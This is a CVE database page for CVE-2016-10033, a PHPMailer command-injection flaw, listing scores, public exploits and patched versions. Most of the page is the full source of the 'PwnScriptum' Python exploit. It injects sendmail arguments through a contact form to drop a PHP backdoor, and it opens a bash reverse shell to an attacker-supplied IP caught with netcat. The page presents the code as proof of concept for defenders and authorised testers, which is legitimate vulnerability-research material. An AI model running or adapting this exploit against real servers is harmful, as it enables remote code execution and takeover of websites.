CVE-2016-10033

high KEV
Published 2020-03-05 · Modified 2025-07-07
CVSS v3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H
CVSS v4 NEW
not yet in upstream
VIR risk
10.0

Description

PHPMailer contains a command injection vulnerability because it fails to sanitize user-supplied input. Specifically, this issue affects the 'mail()' function of 'class.phpmailer.php' script. An attacker can exploit this issue to execute arbitrary code within the context of the application. Failed exploit attempts will result in a denial-of-service condition.

CISA KEV

Vendor
PHP
Product
PHPMailer
Due date
2025-07-28

Predictions

Exploit likelihood
99%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

vendor Authored 2026-05-27
{Vendor advisory: cisa-kev — This vulnerability could affect an open-source component, third-party library, protocol, or proprietary implementation that could be used by different products. For more information, please see: https://github.com/PHPMailer/PHPMailer/releases/tag/v5.2.18 ; https://github.com/advisories/GHSA-5f37-gxvh-23v6 ; https://nvd.nist.gov/vuln/detail/CVE-2016-10033}

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42024 remote php verified
Metasploit · 2017-05-17

WordPress Plugin PHPMailer 4.6 - Host Header Command Injection (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-41962 webapps linux
Dawid Golunski · 2017-05-03

WordPress Core 4.6 - Remote Code Execution

Source code queued for fetch — refresh in a moment.
EDB-40968 webapps php verified
Dawid Golunski · 2016-12-26

PHPMailer < 5.2.18 - Remote Code Execution

Source code queued for fetch — refresh in a moment.
EDB-40970 webapps php
Dawid Golunski · 2016-12-25

PHPMailer < 5.2.18 - Remote Code Execution

Source code queued for fetch — refresh in a moment.
EDB-40974 webapps php
anarc0der · 2016-12-29

PHPMailer < 5.2.18 - Remote Code Execution

Source code queued for fetch — refresh in a moment.
EDB-40969 webapps php
Dawid Golunski · 2016-12-27

PHPMailer < 5.2.20 - Remote Code Execution

Source code queued for fetch — refresh in a moment.
EDB-40986 webapps php python · 9 KB
Dawid Golunski · 2017-01-02

PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - 'AIO' 'PwnScriptum' Remote Code Execution

python exploit Source: Exploit-DB
#!/usr/bin/python

intro = """\033[94m 
    __                     __   __  __           __                 
   / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
  / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
 / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  ) 
/_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/  
           /____/                                                   


PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit
		     a.k.a "PwnScriptum"

 CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074


This PoC exploit aims to execute a reverse shell on the target in 
the context of the web-server user via vulnerable PHP email library.


Discovered and Coded by:

\033[1;34m 
 Dawid Golunski
 https://legalhackers.com

 t: @dawid_golunski for updates
\033[0m
\033[94m 
P.$. For testing only! Don't break the Web ;) 
\033[0m
"""
info = """
[Version]
Limited (ver. 1.0)

[PoC Video]
See the the exploit in action at:

https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

[Info]
This exploit targets a common webapp component - Contact Form. 

It combines payloads for the following vulns:

1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html

3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html

[Usage]

./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT
                                  [-d TARGET_UP_DIR] -ip ATTACKERS_IP
                                  [-p ATTACKERS_PORT] [--version]
                                  [--post-action POST_ACTION]
                                  [--post-name POST_NAME]
                                  [--post-email POST_EMAIL]
                                  [--post-msg POST_MSG]

Note, make sure the contact form matches the default field names (send/name/email/msg). 
Otherwise override with --post-msg=message_box for example.

"""

import os
import argparse
import time
import urllib
import urllib2
import socket
import sys


# The Main Meat
print intro

# Show info
if '-H' in sys.argv:
	print info
	exit(0)
# Parse input args
parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')
parser.add_argument('-H', action='store_true', default="false", required=False,    help='Full Help / Info Page')
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True,  help='WebApp Base Url')
parser.add_argument('-cf',  dest='CONTACT_SCRIPT',  required=True,  help='Contact Form scriptname')
parser.add_argument('-d' ,  dest='TARGET_UP_DIR',   required=False, help='Target Upload Dir')
parser.add_argument('-ip',  dest='ATTACKERS_IP',    required=True,  help='Attackers Public IP for RevShell')
parser.add_argument('-p',   dest='ATTACKERS_PORT',  required=False, help='Attackers Port for RevShell listener')
parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition')
parser.add_argument('--post-action', dest='POST_ACTION',  required=False, help='Overrides POST "action" field name',         default="send")
parser.add_argument('--post-name',   dest='POST_NAME',    required=False, help='Overrides POST "name of sender" field name', default="name")
parser.add_argument('--post-email',  dest='POST_EMAIL',   required=False, help='Overrides POST "email" field name',          default="email")
parser.add_argument('--post-msg',    dest='POST_MSG',     required=False, help='Overrides POST "message" field name',        default="msg")
args = parser.parse_args()

# Preset vars
TMOUT = 3
# Set Vars
if args.ATTACKERS_PORT is None:
	args.ATTACKERS_PORT = 8080
if args.TARGET_UP_DIR  is None:
	args.TARGET_UP_DIR = "upload"
# Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)
BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'
BACKDOOR_URL  = args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT

# Show params
print """[+] Setting vars to: \n
WEBAPP_BASE_URL     = [%s]
CONTACT_SCRIPT      = [%s]
TARGET_UP_DIR       = [%s]
ATTACKERS_IP        = [%s]
ATTACKERS_PORT      = [%s]
CONTACT_SCRIPT_URL  = [%s]
BACKDOOR_FILEl      = [%s]
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)


print "[+] Choose your target / payload: "
print "\033[1;34m"
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
	        The escapeshellarg() bypass :)\n"""
print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
print "\033[0m"

try:
    target = int(raw_input('[?] Select target [1-2]: '))
except ValueError:
    print "Not a valid choice. Exiting\n"
    exit(2)
if (target>4):
    print "No such target. Exiting\n"
    exit(3)
if target == 1:
	# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
	payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 2:
	# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
	payload = "\"attacker\\' -oQ/tmp/ -X%s/%s  some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 3:
	# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
        payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 4:
	# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
        payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)

print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR
# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
# e.g: 
#RCE_PHP_CODE = "<?php phpinfo(); ?>" 
RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' ");  ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) 

# The form names might need to be adjusted
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}

# Attack
# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL
data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
response = urllib2.urlopen(req)
the_page = response.read()


# Check if the backdoor was uploaded correctly.
# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
# So we catch the timeout to find out.

# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL
got_timeout = 0
http_err = 0
try:
    urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
except urllib2.HTTPError as e:
    http_err = e.code
except socket.timeout as e:
    print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"
    got_timeout = 1

if (got_timeout != 1):
    print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err
    exit(2)

# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"
print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"
os.system("nc -v -l -p %d" % args.ATTACKERS_PORT)

print "\n[+] Shell closed\n"

print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"
EDB-42221 webapps php
phackt_ul · 2017-06-21

PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution

Source code queued for fetch — refresh in a moment.
EDB-41996 remote php
Dawid Golunski · 2017-05-11

Vanilla Forums < 2.3 - Remote Code Execution

Source code queued for fetch — refresh in a moment.

Metasploit modules

WordPress PHPMailer Host Header Command Injection
Source code queued for fetch — refresh in a moment.
PHPMailer Sendmail Argument Injection
Source code queued for fetch — refresh in a moment.

OS impact

arch Arch Fixed 1 release
VersionStatusFixed in
Fixed 4.7.1-1
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 5.2.14+dfsg-2.1
sid Fixed 5.2.14+dfsg-2.1
forky Fixed 5.2.14+dfsg-2.1
bullseye Fixed 5.2.14+dfsg-2.1
bookworm Fixed 5.2.14+dfsg-2.1

Package impact

EcosystemPackageVulnerableFixed
php Packagistphpmailer/phpmailer>=5.0.0,<5.2.185.2.18

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.